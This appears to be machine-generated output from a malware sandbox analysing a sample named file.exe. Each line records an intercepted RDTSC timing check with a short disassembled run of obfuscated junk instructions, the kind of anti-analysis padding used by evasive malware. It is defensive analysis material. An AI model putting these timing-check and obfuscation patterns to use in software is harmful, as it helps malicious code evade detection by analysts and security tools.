Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59520C second address: 595219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F075D128EF6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593395 second address: 593399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593AAF second address: 593AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593AB5 second address: 593ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593ABC second address: 593ADB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F075D128EFDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593ADB second address: 593AFB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F075CBABEC6h 0x00000008 jmp 00007F075CBABECAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F075CBABEDFh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593AFB second address: 593B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075D128F03h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593E14 second address: 593E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F075CBABEC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59410D second address: 594111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5943D3 second address: 5943F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F075CBABED2h 0x00000008 jnl 00007F075CBABEC6h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5943F5 second address: 5943F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D22E second address: 59D232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A224A second address: 5A224E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A224E second address: 5A2259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2259 second address: 5A2269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F075D128EF6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2269 second address: 5A228F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F075CBABECEh 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F075CBABECCh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8467 second address: 5A846D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A85D6 second address: 5A85DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A85DA second address: 5A85E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A85E0 second address: 5A85E6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8CF2 second address: 5A8D10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFEh 0x00000007 jmp 00007F075D128EFCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A95D6 second address: 5A9601 instructions: 0x00000000 rdtsc 0x00000002 je 00007F075CBABECCh 0x00000008 pushad 0x00000009 jmp 00007F075CBABECFh 0x0000000e jmp 00007F075CBABECBh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7B6F second address: 5A7B7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F075D128EF6h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFA7D second address: 5AFAAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F075CBABEC6h 0x00000012 jmp 00007F075CBABED5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFAAA second address: 5AFAAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF662 second address: 5AF668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF668 second address: 5AF66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD420 second address: 5BD424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCE68 second address: 5BCE82 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F075D128EFEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C178D second address: 5C1791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E03DD second address: 4E03E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E03E3 second address: 4E03EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F075CBABEC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C12D6 second address: 5C12DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C12DD second address: 5C12E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C12E3 second address: 5C1309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F075D128F04h 0x0000000c popad 0x0000000d jc 00007F075D128F16h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1309 second address: 5C130D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF541 second address: 5CF558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F075D128F02h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF558 second address: 5CF560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF560 second address: 5CF566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D52A4 second address: 5D52BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075CBABED6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D52BE second address: 5D52E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F01h 0x00000007 push esi 0x00000008 jmp 00007F075D128EFFh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DAC83 second address: 5DAC87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D95AB second address: 5D95B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D98A3 second address: 5D98A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9A28 second address: 5D9A62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F075D128F07h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F075D128EF6h 0x00000013 jmp 00007F075D128F05h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9D21 second address: 5D9D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9FE5 second address: 5D9FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0BCF second address: 5E0BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0868 second address: 5E086C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E086C second address: 5E0872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED795 second address: 5ED7B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F075D128EF6h 0x0000000a pop edx 0x0000000b jmp 00007F075D128F05h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED7B5 second address: 5ED7D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F075CBABEC6h 0x0000000a jmp 00007F075CBABED6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED7D5 second address: 5ED7D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED7D9 second address: 5ED7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED7DF second address: 5ED7E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED7E8 second address: 5ED7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F393E second address: 5F3944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F37F7 second address: 5F37FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F37FD second address: 5F3809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F075D128EF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3809 second address: 5F380D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBFAE second address: 5EBFBD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F075D128EF6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBFBD second address: 5EBFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFF38 second address: 5FFF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFF3D second address: 5FFF4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F075CBABECCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6020CA second address: 60211D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F075D128F09h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F075D128F07h 0x00000016 jmp 00007F075D128F05h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60211D second address: 602122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602122 second address: 60212B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B687 second address: 61B68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B68D second address: 61B694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B694 second address: 61B6AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F075CBABECFh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B6AA second address: 61B6BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F075D128F14h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B6BB second address: 61B6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075CBABED8h 0x00000009 jmp 00007F075CBABED4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B817 second address: 61B839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F075D128F02h 0x0000000c jnc 00007F075D128EF6h 0x00000012 jc 00007F075D128EF6h 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B839 second address: 61B83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BB1E second address: 61BB22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BB22 second address: 61BB26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620004 second address: 620020 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F075D128F02h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620020 second address: 620025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620025 second address: 62002B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62002B second address: 620063 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F075CBABED7h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 jmp 00007F075CBABECFh 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620063 second address: 620092 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F075D128EFCh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F075D128F02h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62032D second address: 620340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABECFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620340 second address: 620371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jbe 00007F075D128F0Dh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 push eax 0x00000018 pop eax 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620371 second address: 62038A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F075CBABEC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F075CBABEC6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62038A second address: 620399 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623698 second address: 6236AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007F075CBABEC6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jl 00007F075CBABECEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02B2 second address: 4CE02B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02B6 second address: 4CE02BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE02BC second address: 4CE02D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b mov ecx, 4287383Dh 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD007D second address: 4CD0095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABED4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0095 second address: 4CD00AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD00AD second address: 4CD00B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD00B1 second address: 4CD00B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD00B7 second address: 4CD00D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABED9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD00D4 second address: 4CD00D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00DDD second address: 4D00E5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F075CBABED0h 0x00000010 push eax 0x00000011 jmp 00007F075CBABECBh 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F075CBABED6h 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F075CBABECDh 0x00000027 sbb si, 93C6h 0x0000002c jmp 00007F075CBABED1h 0x00000031 popfd 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00E5A second address: 4D00E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00E5F second address: 4D00E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00E65 second address: 4D00E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0157 second address: 4CA01C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F075CBABED7h 0x00000009 adc eax, 79C70F9Eh 0x0000000f jmp 00007F075CBABED9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F075CBABED0h 0x0000001b adc al, FFFFFF98h 0x0000001e jmp 00007F075CBABECBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a mov eax, 20DEE56Bh 0x0000002f push ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
